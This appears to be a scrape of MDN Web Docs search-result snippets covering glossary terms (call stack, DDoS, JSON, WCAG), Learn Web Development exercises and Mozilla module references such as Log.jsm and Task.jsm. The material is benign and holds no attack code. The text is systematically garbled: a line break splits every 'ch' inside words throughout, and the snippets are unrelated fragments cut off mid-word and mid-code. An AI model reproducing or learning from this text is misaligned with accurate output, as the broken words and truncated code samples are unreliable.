ch makes any <div> element with the class "warning" look like a warning box), and "#customized", whi
ch sets the base font of the element with the id "customized" to 16-pixel tall lucida grande or one of a few fallback fonts.
... we can then apply this css to some html, su
ch as: <p>this is happy text.</p> <div class="warning"> be careful!
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
a call stack is a me
chanism for an interpreter (like the javascript interpreter in a web browser) to keep track of its place in a script that calls multiple functions — what function is currently being run and what functions are called from within that function, etc.
... any functions that are called by that function are added to the call stack further up, and run where their calls are rea
ched.
... example function greeting() { // [1] some codes here sayhi(); // [2] some codes here } function sayhi() { return "hi!"; } // invoke the `greeting` function greeting(); // [3] some codes here the code above would be executed like this: ignore all functions, until it rea
ches the greeting() function invocation.
... call stack list: - sayhi - greeting execute all lines of code inside the sayhi() function, until rea
ches its end.
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
sometimes, this task is also referred to as "assembling" or "build", whi
ch typically indiciates more than just compilation is done, e.g.
... usually, a compiler transforms a higher-level language su
ch as c or java, whi
ch humans understand, into a ma
chine language, su
ch as assembly, that the cpu can understand.
... some compilers whi
ch translate between similar level languages are called transpilers or cross-compilers, for instance to compile from typescript to javascript.
...for instance in the browser: firefox' spidermonkey javascript engine has a jit built-in that will compile javascript in a website to ma
chine code while you're viewing it so it runs faster.
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
the control flow is the order in whi
ch the computer executes statements in a script.
... code is run in order from the first line in the file to the last line, unless the computer runs across the (extremely frequent) structures that
change the control flow, su
ch as conditionals and loops.
...the function could also include a loop, whi
ch iterates through all of the fields in the form,
checking ea
ch one in turn.
... learn more general knowledge control flow on wikipedia te
chnical reference javascript reference - control flow on mdn learn about it statements (control flow) on mdn ...
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
the name originates from the greek letter Δ (delta), whi
ch is equivalent to the letter d in the roman alphabet.
... the term delta is commonly used when communicating
changes in speed, position, or acceleration of a physical or virtual object.
... it's also used when describing
changes in the volume or frequency of sound waves.
... likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved previous condition: let newx = oldx + deltax; learn more te
chnical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
a distributed denial-of-service (ddos) is an attack in whi
ch many compromised systems are made to attack a single target, in order to swamp server resources and block legitimate users.
...eventually, the assailant instructs the controlled ma
chines to laun
ch an attack against a specified target.
... there are two types of ddos attacks: a network-centric attack (whi
ch overloads a service by using up bandwidth) and an application-layer attack (whi
ch overloads a service or database with application calls).
... the overflow of data to the target causes saturation in the target ma
chine so that it cannot respond or responds very slowly to legitimate traffic (hence the name "denial of service").
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
modifying su
ch headers is forbidden because the user agent retains full control over them.
... names starting with `sec-` are reserved for creating new headers safe from apis using fet
ch that grant developers control over headers, su
ch as xmlhttprequest.
... forbidden header names start with proxy- or sec-, or are one of the following names: accept-
charset accept-encoding access-control-request-headers access-control-request-method connection content-length cookie cookie2 date dnt expect feature-policy host keep-alive origin proxy- sec- referer te trailer transfer-encoding upgrade via note: the user-agent header is no longer forbidden, as per spec — see forbidden header name list (this was implemented in firefox 43) — it can now be set in a fet
ch headers object, or via xhr setrequestheader().
... however,
chrome will silently drop the header from fet
ch requests (see
chromium bug 571722).
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
javascript object notation (json) is a data-inter
change format.
... mu
ch like xml, json has the ability to store hierar
chical data unlike the more traditional csv format.
... many tools provide translation between these formats su
ch as this online json to csv converter or this alternative json to csv converter.
... learn more general knowledge json on wikipedia te
chnical reference json on mdn ...
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
summary javascript (or "js") is a programming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime su
ch as node.js.
... origins and history conceived as a server-side language by brendan ei
ch (then employed by the netscape corporation), javascript soon came to netscape navigator 2.0 in september 1995.
...node.js - built using
chrome's v8 javascript engine - allows developers to use javascript as a scripting language to automate things on a computer and build fully functional http and web sockets servers.
... learn more general knowledge javascript on wikipedia learning javascript the javascript guide on mdn the "javascripting" workshop on nodes
chool the javascript course on codecademy.com john resig's learning advanced javascript te
chnical reference the latest ecmascript standard the javascript reference on mdn the eloquent javascript book ...
Keyword - MDN Web Docs Glossary: Definitions of Web-related terms
online keywords are used as queries for sear
ch engines or as words identifying content on websites.
... when you use a sear
ch engine, you use keywords to specify what you are looking for, and the sear
ch engine returns relevant webpages.
... for more accurate results, try more specific keywords, su
ch as "blue mustang gto" instead of simply "mustang".
... webpages also use keywords in a meta tag (in the <head> section) to describe page content, so sear
ch engines can better identify and organize webpages.
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp navigation directives are used in a content-security-policy header and govern to whi
ch location a user can navigate to or submit a form to, for example.
... list of csp navigation directives form-action restricts the urls whi
ch can be used as the target of a form submissions from a given context.
... navigate-to restricts the urls to whi
ch a document can initiate navigation by any means, including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... learn more https://www.w3.org/tr/csp/#directives-navigation other kinds of directives: fet
ch directive document directive reporting directive block-all-mixed-content upgrade-insecure-requests require-sri-for trusted-types content-security-policy ...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
would you need to look at the code to understand what the function did if it was called build('pea
ch'), or createliwithcontent('pea
ch')?
... semantics in html in html, for example, the <h1> element is a semantic element, whi
ch gives the text it wraps around the role (or meaning) of "a top level heading on your page." <h1>this is a top level heading</h1> by default, most browser's user agent stylesheet will style an <h1> with a large font size to make it look like a heading (although you could style it to look like anything you wanted).
... some of the benefits from writing semantic markup are as follows: sear
ch engines will consider its contents as important keywords to influence the page's sear
ch rankings (see seo) screen readers can use it as a signpost to help visually impaired users navigate a page finding blocks of meaningful code is significantly easier than sear
ching though endless divs with or without semantic or namespaced classes suggests to the developer the type of data that will be popul...
...ated semantic naming mirrors proper custom element/component naming when approa
ching whi
ch markup to use, ask yourself, "what element(s) best describe/represent the data that i'm going to populate?" for example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.
Signature (functions) - MDN Web Docs Glossary: Definitions of Web-related terms
a signature can include: parameters and their types a return value and type exceptions that might be thrown or passed back information about the availability of the method in an object-oriented program (su
ch as the keywords public, static, or prototype).
... the method accepts one parameter, whi
ch is called value and is not further defined.
... signatures in java in java, signatures are used to identify methods and classes at the level of the virtual ma
chine code.
...java is strictly typed and will
check any parameters at compilation time if they are correct.
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
syntax specifies the required combination and sequence of
characters making up correctly structured code.
... syntax generally includes grammar and the rules that apply to writing it, su
ch as indentation requirements in python.
... syntax only governs ordering and structure; the instructions must also be meaningful, whi
ch is the province of semantics.
...if a codebase uses "a lot of syntax", it requires more
characters to a
chieve the same functionality.
Tag - MDN Web Docs Glossary: Definitions of Web-related terms
the name of an html element is the name used in angle brackets su
ch as <p> for paragraph.
... note that the end tag's name is preceded by a slash
character, </p>, and that in empty elements, the end tag is neither required nor allowed.
... if attributes are not mentioned, default values are used in ea
ch case.
... learn more general knowledge html element on wikipedia html elements syntax on whatwg te
chnical reference introduction to html ...
Texel - MDN Web Docs Glossary: Definitions of Web-related terms
a texel is a single-pixel within a texture map, whi
ch is an image that gets used (in whole or in part) as the image presented on a polygon's surface within a 3d rendered image.
... it is not to be confused with pixel whi
ch is the unit of screen space.
... the process of mapping the appropriate texel’s to their corresponding points on a polygon is called texture mapping, whi
ch is a stage of the process of rendering a 3d image for display.
... textures are
characterised by collections of texel’s, as how images are
characterised by collections of pixels.
Type - MDN Web Docs Glossary: Definitions of Web-related terms
type is a
characteristic of a value affecting what kind of data it can store, and the structure that the data will adhere to.
... for example, a boolean data type can hold only a true or false value at any given time, whereas a string has the ability to hold a string or a sequence of
characters, a number can hold numerical values of any kind, and so on.
...for example, a value of type number can be multiplied by another number, but not by a string - even if that string contains only a number, su
ch as the string "2".
...comparison between structured types is not always an easy assumption, as even if the previous data structure is the same, there could be inherited structures inside of the prototype
chain.
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
they outline a set of guidelines for making content accessible primarily for people with disabilities but also for limited-resource devices su
ch as mobile phones.
... wcag 2.0 whi
ch superseded wcag 1.0 was published as a w3c recommendation on 11 december 2008.
... it consists of 12 guidelines organized under 4 principles (perceivable, operable, understandable, and robust) and ea
ch guideline has testable success criteria.
... learn more general knowledge wcag on wikipedia te
chnical knowledge accessibility information on mdn the wcag 2.0 recommendation at the w3c ...
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
webidl is the interface description language used to describe the data types, interfaces, methods, properties, and other components whi
ch make up a web application programming interface (api).
... it uses a somewhat stylized syntax whi
ch is independent of any specific programming language, so that the underlying code whi
ch is used to build ea
ch api can be written in whatever language is most appropriate, while still being possible to map the api's components to javascript-compatible constructs.
... webidl is used in nearly every api specification for the web, and due to its standard format and syntax, the programmers who create web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they
choose to write the code to implement the api.
... learn more te
chnical reference specification webidl bindings webidl ...
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
tim berners-lee proposed the ar
chitecture of what became known as the world wide web.
... he created the first web server, web browser, and webpage on his computer at the cern physics resear
ch lab in 1990.
...this consortium consists of core web interest groups, su
ch as web browser developers, government entities, resear
chers, and universities.
... its mission includes education and outrea
ch.
XML - MDN Web Docs Glossary: Definitions of Web-related terms
the information te
chnology (it) industry uses many languages based on xml as data-description languages.
... xml tags resemble html tags, but xml is mu
ch more flexible because it lets users define their own tags.
... in this way xml acts like a meta-language—that is, it can be used to define other languages, su
ch as rss.
...for example, web services can use xml to ex
change requests and responses.
Test your skills: backgrounds and borders - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... make sure that the heading text does not overlay the image, and that it is centered — you will need to use te
chniques learned in previous lessons to a
chieve this.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor su
ch as codepen, jsfiddle, or glit
ch.
...your post should include: a descriptive title su
ch as "assessment wanted for flexbox layout 1 skill test".
What HTML features promote accessibility? - Learn web development
tabbing users who do not or cannot use pointing devices can tab through links and, as su
ch, links should be in a logical tabbing order.
... <ul> <li><a href="here.html" tabindex="1">here</a></li> <li><a href="there.html" tabindex="3">there</a></li> <li><a href="anywhere.html" tabindex="2">anywhere</a></li> </ul> in this example (whi
ch is used purely as a demonstration—do not do this), tabbing would jump from “here” to “anywhere” to “there”.
...<a href="inept.html" title="why i'm rubbish at writing link text: an explanation and an apology.">click here</a> to find out more.</p> access keys access keys provide easier navigation by assigning a keyboard shortcut to a link, whi
ch will usually gain focus when the user presses alt or ctrl + the access key.
... <a href="somepage.html" accesskey="s">some page</a> skip links to aid tabbing, you can supply links that allow users to jump over
chunks of your web page.
Example 3 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit" tabindex="-1"> <option>
cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select" tabindex="0"> <span class="value">
cherry</span> <ul class="optlist hidden"> <li class="option">
cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --...
... .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.forea
ch = function (callback) { array.prototype.forea
ch.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(selec...
...t, selectlist) { if (select.classlist.contains('active')) return; selectlist.forea
ch(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.forea
ch(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = doc...
...ument.queryselectorall('.select'); selectlist.forea
ch(function (select) { var optionlist = select.queryselectorall('.option'); optionlist.forea
ch(function (option) { option.addeventlistener('mouseover', function () { highlightoption(select, option); }); }); select.addeventlistener('click', function (event) { toggleoptlist(select); }, false); select.addeventlistener('focus', function (event) { activeselect(select, selectlist); }); select.addeventlistener('blur', function (event) { deactivateselect(select); }); select.addeventlistener('keyup', function (event) { if (event.keycode === 27) { deactivateselect(select); } }); }); }); result ...
Example 5 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit"> <option>
cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select" role="listbox"> <span class="value">
cherry</span> <ul class="optlist hidden" role="presentation"> <li class="option" role="option" aria-selected="true">
cherry</li> <li class="option" role="option">lemon</li> <li class="option" role="option">banana</li> <li class="option" role="option">strawberry</li> <li class="option" role="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { ...
... .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.forea
ch = function (callback) { array.prototype.forea
ch.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(selec...
...t, selectlist) { if (select.classlist.contains('active')) return; selectlist.forea
ch(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.forea
ch(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.previouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); optionlist.forea
ch(function (other) { other.setattribute('aria-selected', 'false'); }); optio...
...ibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.forea
ch(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.previouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.forea
ch(function (option, index) { option.addeventlistener('mouseover', function () { highlightoption(select, option); }); ...
Test your skills: HTML5 controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... html5 controls 2 next, we want you to implement a slider control to allow the user to
choose a maximum number of people to invite to their party.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor su
ch as codepen, jsfiddle, or glit
ch.
...your post should include: a descriptive title su
ch as "assessment wanted for html5 controls 1 skill test".
Test your skills: Styling basics - Learn web development
note: you can try out solutions by editing the starting point file locally, however it may be helpful to put your code in an online tool su
ch as codepen, jsfiddle, or glit
ch to work on the tasks.
... use some kind of layout te
chnique to make the inputs and labels line up neatly.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor su
ch as codepen, jsfiddle, or glit
ch.
...your post should include: a descriptive title su
ch as "assessment wanted for styling basics 1 skill test".
Use JavaScript within a webpage - Learn web development
rely on html for your content as mu
ch as possible.
... for example, if you've implemented a nice javascript progress bar, make sure to supplement it with mat
ching text percentages inside the html.
... if you use pointer events (like mouse events or tou
ch events), duplicate the functionality with keyboard events.
...you can hardly ever predict just how long it will take for users or browsers to complete an process (especially asyn
chronous actions su
ch as loading resources).
HTML Tables - Learn web development
coupled with a little css for styling, html makes it easy to display tables of information on the web su
ch as your s
chool lesson plan, the timetable at your local swimming pool, or statistics about your favorite dinosaurs or football team.
... note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program su
ch as jsbin or glit
ch.
... guides this module contains the following articles: html table basics this article gets you started with html tables, covering the very basics su
ch as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes.
... html table advanced features and accessibility this module looks at some more advanced features of html tables — su
ch as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
JavaScript building blocks - Learn web development
in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks su
ch as conditional statements, loops, functions, and events.
... note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program su
ch as jsbin or glit
ch.
...in this article we'll explore fundamental concepts behind functions su
ch as basic syntax, how to invoke and define functions, scope, and parameters.
... introduction to events events are actions or occurrences that happen in the system you are programming, whi
ch the system tells you about so you can respond to them in some way if desired.
Adding phishing protection data providers
phishing protection te
chnology lets firefox help protect users by comparing the urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list.
... ea
ch data provider has a unique id number.
... browser.safebrowsing.provider.idnum.reporterrorurl an url to whi
ch the user is directed in order to report a safe page that is incorrectly being reported as a phishing site.
... browser.safebrowsing.provider.idnum.reportphishurl an url to whi
ch the user is directed in order to report a phishing site that isn't detected by the phishing protection system.
Bugzilla
how to tell if a bug has already been reported it's useful (but not mandatory) for you to
check if the problem you're reporting has been already tracked.
... other materials an introduction to bugzilla bugzilla for humans bugzilla quicksear
ch help page.
... quicksear
ch is a quick, easy, and very effective way of quickly querying bugzilla.
... testopia - test case management extension bugzilla.org - the project site wikipedia:bugzilla - general description of bugzilla (not specific to mozilla projects) bmo on wiki.mozilla.org - information about mozilla's customized bugzilla installation, including how to contribute to it tools bugzilla todos lists review and flag requests, pat
ches to
check in, unfulfilled requests you made of other people, and assigned bugs.
Creating JavaScript callbacks in components
basically, the component defines an observer (or listener) interface whi
ch is implemented by some external code and this implementation is passed to the component.
...remember (or discover) that addeventlistener is a method of the nsidomeventtarget interface and is defined as su
ch: void addeventlistener(in domstring type, in nsidomeventlistener listener, in boolean usecapture); however, it is extremely common to see developers pass a normal javascript function for the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false); reve...
...the function attribute tells the xpconnect ma
chinery to treat the javascript function as if it was an implementation of the callback interface.
...so we could convert the example above to accept javascript functions in place of the stringparserobserver by making the following
changes: [scriptable, function, uuid(...)] interface stringparserobserver : nsisupports { void onword(string word); }; [scriptable, uuid(...)] interface stringparser { void parse(string data); void addobserver(stringparserobserver observer); }; note the only
change was adding function to the interface attributes of the callback interface.
Debugging OpenGL
if you start up firefox with this variable defined, the following behavior
changes occur: ea
ch time you issue an opengl call, a
check is performed to ensure that the gl context is current, using a thread-local static variable to keep track of this.
...this flushes out ea
ch call, essentially turning opengl into a syn
chronous api.
... this makes debugging crashes caused by an opengl call mu
ch easier, since the stack you see will mat
ch where the call was issued, rather than some time in the future when it happens to run and crash.
...this can help make it mu
ch easier to debug crashes and hangs that make the computer unusable (thereby stymieing attempts to debug).
Gmake vs. Pymake
path issues on windows on windows, you must take special care to be able to swit
ch back and forth between gmake and pymake on the same object dir.
... if you try to swit
ch from gmake to pymake or pymake to gmake the build will fail unless you did a relative configure.
... a relative configure produces paths that look like "../../foo" whi
ch can be understood by gmake and pymake.
...you should also make sure that the object directory path specified in your mozconfig mat
ches the directory in whi
ch you're invoking pymake.
mozbrowserasyncscroll
there may also be large incompatibilities between implementations and the behavior may
change in the future.
...this indicates that the content is over-scrolled, whi
ch occurs when the page "rubber-bands" after being scrolled all the way to the bottom.
... note: for performance reasons, this event is asyn
chronous.
... examples var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserasyncscroll", function( event ) { console.log("the scroll top position of the document is:" + event.details.top + "px"); }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericon
change mozbrowserloadend mozbrowserloadstart mozbrowserlocation
change mozbrowseropenwindow mozbrowsersecurity
change mozbrowsertitle
change mozbrowserusernameandpasswordrequired ...
mozbrowserloadend
although implementations may
change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to firefox os apps.
... example in this example the mozbrowserloadstart and mozbrowserloadend events are used to
change the icon shown on the stop/reload button between stop (x) and reload (r), as appropriate.
... in addition, the background of the controls ui bar is
changed to the background color of the site that has just loaded, to provide a more integrated experience.
...browser.addeventlistener('mozbrowserloadend',function(e) { stopreload.textcontent = 'r'; console.log(e.detail.backgroundcolor); controls.style.background = e.detail.backgroundcolor; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericon
change mozbrowserloadstart mozbrowserlocation
change mozbrowseropenwindow mozbrowsersecurity
change mozbrowsershowmodalprompt mozbrowsertitle
change mozbrowserusernameandpasswordrequired ...
Embedding Mozilla
gecko allows third-party developers to use the same te
chnology as found in mozilla.
... that means you can embed a web browser inside a third-party application, open
channels and streams through the network backend, walk through the dom and so on.
... you can even construct whole new applications using
chrome.
... mailing list newsgroup rss feed #embedding irc
channel related topics gecko, xpcom ...
Integrated Authentication
this entails support for the the simple and protected gss-api negotiation me
chanism (spnego) internet standard (rfc 2478) to negotiate either kerberos, ntlm, or other authentication protocols supported by the operating system.
... configuration by default, mozilla rejects all spnego
challenges from a web server.
...so, it is paramount that the browser does not freely ex
change ntlm user credentials with any server that requests them.
...list); pref("network.automatic-ntlm-auth.trusted-uris", site-list); where, site-list is a comma-separated list of url prefixes or domains of the form: site-list = "mydomain.com, https://myotherdomain.com" network.negotiate-auth.trusted-uris lists the sites that are permitted to engage in spnego authentication with the browser, and network.negotiate-auth.delegation-uris lists the sites for whi
ch the browser may delegate user authorization to the server.
DownloadLastDir.jsm
the downloadlastdir.jsm javascript code module lets you retrieve the path of the last directory into whi
ch a download occurred.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloadlastdir.jsm"); if you are using addon sdk, you can import the code module as: let { cu } = require("
chrome"); let downloadlastdir = cu.import("resource://gre/modules/downloadlastdir.jsm").downloadlastdir; once you've imported the module, you can then use the downloadlastdir object it exports.
... using the downloadlastdir object to determine or set the path into whi
ch the last download occurred: // file is an nsifile var file = downloadlastdir.file; downloadlastdir.file = file; you can also set and retrieve this information on a site-by-site basis.
...however, when private browsing mode is enabled, the last download directory path is instead maintained in memory, and the preference is not
changed.
DownloadSummary
addview() adds a view that will be notified of
changes to the summary.
... the newly added view will receive an initial onsummary
changed notification.
...the following methods may be defined: onsummary
changed: optional called after any property of the summary has
changed.
... promise resolves to undefined when the view has been registered and the onsummary
changed notification has been sent.
FxAccountsProfileClient.jsm
the fxaccountsprofileclient.jsm javascript module provides a way to fet
ch firefox accounts profile information.
...components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a new fxaccountsprofileclient new fxaccountsprofileclient(object options); method overview fet
chprofile(); attributes serverurl url profiler server url.
...methods fet
chprofile() fet
ches firefox accounts profile information.
... examples using the fxaccountsprofileclient
chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fet
chprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object.
Log.jsm
the log.jsm javascript code module (formerly named log4moz.js) provides a log4j style api for logging log messages to various endpoints, su
ch as the browser console or a file on disk.
... to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/log.jsm"); basic usage components.utils.import("resource://gre/modules/log.jsm"); // get a logger, give it a name unique to this
chunk of code.
... // use dots to create a hierar
chy, this way you can later
change // the log level of sets of loggers under some common root let log = log.repository.getlogger("myextension.myclass"); log.level = log.level.debug; // a console appender logs to the browser console.
...something bad happened!"); log.debug("details about bad thing only useful during debugging", {someinfo: "nothing"}); log.warn("here is an error", new error("ou
ch")); logger levels fatal severe errors that cause premature termination.
Services.jsm
to use it, you first need to import the code module into your javascript scope: const {services} =
chromeutils.import("resource://gre/modules/services.jsm"); then you can obtain references to services by simply accessing them from the services object exported by the code module.
...refsservice = services.prefs; provided service getters service accessor service interface service name androidbridge nsiandroidbridge 1 appinfo nsixulappinfo nsixulruntime application information service appshell nsiappshellservice application shell service blocklist nsiblocklistservice blocklist service ca
che nsica
cheservice ca
che service ca
che2 nsica
chestorageservice ca
che storage service clipboard nsiclipboard clipboard console nsiconsoleservice error console service contentprefs nsicontentprefservice content preferences service cookies nsicookiemanager2 cookie manager 2 service cpmm nsimessagesender
chi...
...ice metro nsiwinmetroutils 2 mm nsimessagebroadcaster nsiframescriptloader global frame message manager3 obs nsiobserverservice observer service perms nsipermissionmanager permission manager service ppmm nsimessagebroadcaster nsiprocessscriptloader global parent process message manager3 prefs nsiprefbran
ch nsiprefbran
ch2 nsiprefservice preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service scriptsecuritymanager nsiscriptsecuritymanager script security manager sear
ch nsibrowsersear
chservice browser sear
ch service startup nsiappstartup applic...
...info service telemetry nsitelemetry telemetry service tm nsithreadmanager thread manager service urifixup nsiurifixup uri fixup service urlformatter nsiurlformatter url formatter service vc nsiversioncomparator version comparator service wm nsiwindowmediator window mediator service ww nsiwindowwat
cher window wat
cher service 1 mobile only 2 windows only 3 main process only 4
child process only ...
Task.jsm
the task.jsm javascript code module implements a subset of task.js to make sequential, asyn
chronous operations simple, using the power of javascript's yield operator.
...eturn task.spawn((function* () { return yield sendgreeting(this.message.replace(/name/, name)); }).bind(this); }) }; with async(), the method can be declared succinctly: let greeter = { message: "hello, name!", greet: task.async(function* (name) { return yield sendgreeting(this.message.replace(/name/, name)); }) }; while maintaining identical semantics: greeter.greet("mit
chell").then((reply) => { ...
... we can easily loop while // calling asyn
chronous functions, and wait multiple times.
...ion handling components.utils.import("resource://gre/modules/osfile.jsm") components.utils.import("resource://gre/modules/task.jsm") task.spawn(function* () { let currentdir = yield os.file.getcurrentdirectory(); let path = os.path.join(currentdir, ".mozconfig"); try { let info = yield os.file.stat(path); console.log("the .mozconfig file is " + info.size + " bytes long."); } cat
ch (ex if ex instanceof os.file.error && ex.becausenosu
chfile) { console.log("you don't have .mozconfig in " + currentdir); } }).then(null, components.utils.reporterror); in this example, if the promise returned by os.file.stat is rejected, an exception is thrown inside the task.
Web Localizability
localizability (or l12y for short) is a
characteristic found in an application or content that enables localization.
...how to
choose the right localization format.
... you will make localizer's life easier, for whi
ch they will be grateful.
...you will end up writing more semanticly-correct code, whi
ch is good for your seo.
Extras
mathml extras this is a te
chnology demonstration of some of the extras in mozilla but not defined in the mathml spec, and not prevented by the spec either.
...8"/> </radialgradient> </defs> <rect width="300" height="250" fill="url(#grad1)"/> <g transform="translate(150,125)"> <g> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0" to="360" dur="6s" repeatcount="indefinite"/> <g transform="translate(-50,-35)"> <rect width="100" height="70" fill="url(#grad2)"/> <swit
ch> <foreignobject width="100" height="70" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <mo>(</mo> <mtable> <mtr> <mtd><mi>cos</mi><mi>θ</mi></mtd> <mtd><mo>−</mo><mi>sin</mi><mi>θ</mi></mtd> </mtr> <mtr> <mtd><mi>sin</mi><mi>θ</mi></mtd> <mtd><mi>cos</mi><mi>θ</mi></mtd> </mtr> </mtable> <mo>)</mo> </mrow> </math> </foreigno...
...bject> <text>rotation matrix</text> </swit
ch> </g></g></g> <g> <animatemotion path="m 32,69 c 64,121 100,27 152,42 203,56 239,257 275,161 295,109 144,221 88,214 -2,202 11,35 32,69 z" begin="0s" dur="20s" repeatcount="indefinite"/> <animatetransform attributename="transform" attributetype="xml" type="scale" values="1;2;.5;1" keytimes="0;.25;.75;1" dur="20s" repeatcount="indefinite"/> <circle fill="url(#grad3)" r="30"/> <g transform="translate(-30,-30)"> <swit
ch> <foreignobject width="60" height="60" requiredextensions="http://www.w3.org/1998/math/mathml"> <math display="block"> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>0</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <msup> ...
...<mi>α</mi> <mi>n</mi> </msup> <mrow> <mi>n</mi> <mo>!</mo> </mrow> </mfrac> </mrow> </math> </foreignobject> <text>exp(α)</text> </swit
ch> </g> </g> </svg> </div> inline javascript html content <math display="block"> <mfrac> <mtext id="num">mouse</mtext> <mtext id="denum">over</mtext> </mfrac> </math> javascript content function whoistherealert(evt) { alert("who is there?"); } function atta
chlistener(id) { document.getelementbyid(id).addeventlistener("mouseover", whoistherealert); } function init() { atta
chlistener("num"); atta
chlistener("denum"); } window.addeventlistener("load", init); ...
Updates
mar
ch 22, 2011 firefox 4.0 has been released!
...some improvements are particularly worth noting: a new html parser, whi
